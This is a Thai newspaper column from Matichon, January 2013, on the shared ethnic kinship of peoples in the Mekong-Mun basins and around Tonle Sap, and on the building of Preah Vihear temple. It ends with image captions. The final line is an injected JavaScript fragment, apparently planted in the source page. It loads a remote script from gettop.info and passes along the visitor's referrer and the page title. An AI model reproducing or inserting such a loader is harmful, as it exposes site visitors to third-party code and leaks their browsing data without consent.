มติชนรายวัน ฉบับประจำวันจันทร์ที่ 21 มกราคม 2556

 

          คนที่ราบสูงลุ่มน้ำโขง-ชี-มูล ในไทย-ลาว กับคนที่ลุ่มต่ำโตนเลสาบ(ทะเลสาบ) ในกัมพูชา เป็นเครือญาติชาติพันธุ์เดียวกัน มีตำนานเกิดจากน้ำเต้าปุงด้วยกัน

          จะต่างกันบ้างก็แต่เพียงตระกูลภาษาพูดและสำเนียง คือมอญ-เขมร กับลาว-ไทย

          ฉะนั้น คนที่อยู่รอบๆปราสาทพระวิหารตั้งแต่ก่อนสร้าง, ขณะสร้าง, หลังสร้าง จึงเป็นเครือญาติชาติพันธุ์สืบเนื่องกันมา

          แม้มีนักวิชาการบางพวกพยายามหาหลักฐานจะให้เป็นคนละกลุ่มไม่เกี่ยวดองกันระหว่างที่ราบสูงกับที่ลุ่มต่ำ เพื่อจะบิดประวัติศาสตร์เอาใจกระแสคลั่งชาติวิวาทบาดหมางว่าปราสาทพระวิหารไม่ใช่ของกัมพูชา

          แต่หาเท่าไรก็ไม่พบหลักฐานว่าแยกคนออกจากกัน ระหว่างที่ราบสูงกับที่ลุ่มต่ำ

          หลัง พ.ศ. 1500 เริ่มสร้างปราสาทพระวิหาร วัฒนธรรมขอม(เขมร)จากทะเลสาบกัมพูชาแผ่เข้าสู่อีสาน

          ขณะนั้นการค้าโลกกว้างขวางขึ้น ส่งผลให้บริเวณสองฝั่งโขงที่มีทรัพยากรมั่งคั่งมีบ้านเมืองเติบโตแพร่กระจายเต็มไปหมด

          ต้นวงศ์กษัตริย์กัมพูชาอยู่ลุ่มน้ำมูล เพราะบริเวณต้นน้ำมูล ตั้งแต่เขตปราสาทพนมวัน, ปราสาทพิมาย, ปราสาทพนมรุ้ง เป็นถิ่นเดิมหรือถิ่นบรรพชนเกี่ยวดองเป็นเครือญาติ ของกษัตริย์ที่สถาปนาอาณาจักรกัมพูชาขึ้นบริเวณโตนเลสาบ

          ทำให้กษัตริย์อาณาจักรกัมพูชาก่อสร้างปราสาทหินสำคัญ เช่น ปราสาทพระวิหาร มีทางบันไดขึ้นลงที่ยื่นยาวเข้ามาทางชายแดนที่ราบสูงด้าน จ. ศรีสะเกษ

          รูปสลักขบวนแห่ทหารในพิธีกรรมศักดิ์สิทธิ์บนระเบียงประวัติศาสตร์ที่ปราสาทนครวัด (เป็นยุคเดียวกับที่บูรณะเพิ่มเติมปราสาทพระวิหาร) แสดงให้เห็นความสัมพันธ์ฉันเครือญาติระหว่างกษัตริย์เขมรเมืองพระนคร กับบ้านเมืองแว่นแคว้นต่างๆ ที่อยู่โดยรอบและที่อยู่ห่างไกลออกไปถึงบริเวณเขาพระวิหาร

          และยังบอกให้รู้ถึงเครือข่ายทางการค้าภายใน บนเส้นทางคมนาคมการค้าครั้งนั้น เช่น เสียมกุก หรือชาวสยาม ที่หมายถึงคนพื้นเมืองหลายชาติพันธุ์บริเวณสองฝั่งโขงซึ่งมีเวียงจันเป็นศูนย์กลางที่สื่อสารด้วยภาษาลาว-ไทย

          ยุคนั้นบริเวณจังหวัดสุรินทร์, บุรีรัมย์, ศรีสะเกษ เป็นส่วนหนึ่งของวัฒนธรรมขอม  และอยู่ในเขตเครือญาติของกษัตริย์ผู้สถาปนา “ศรีศิขรีศวร” หรือปราสาทพระวิหารขึ้นบนยอดเขา ทิวพนมดงเร็ก (แปลว่าทิวเขาไม้คาน)

          ผู้คนในสุรินทร์, บุรีรัมย์, ศรีสะเกษยุคนั้นอาจเป็นส่วนหนึ่งของชาวสยามหรือเสียมที่ปลูกหม่อน เลี้ยงไหม ทอผ้าไหม ที่มีชื่อสลักบนปราสาทนครวัด แล้วถูกเกณฑ์ไปสร้างปราสาทพระวิหารในครั้งนั้นด้วย

กำมุ (ขมุ)

ม้อย

ข่าอัตตะปือ

คนพื้นเมืองชาติภาษาต่างๆ แถบลุ่มแม่น้ำโขง ที่มีส่วนสร้างปราสาทพระวิหาร

ชาวเขมรโบราณถือหอยสังข์ ลายเส้นโดยจิตรกรจีน

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;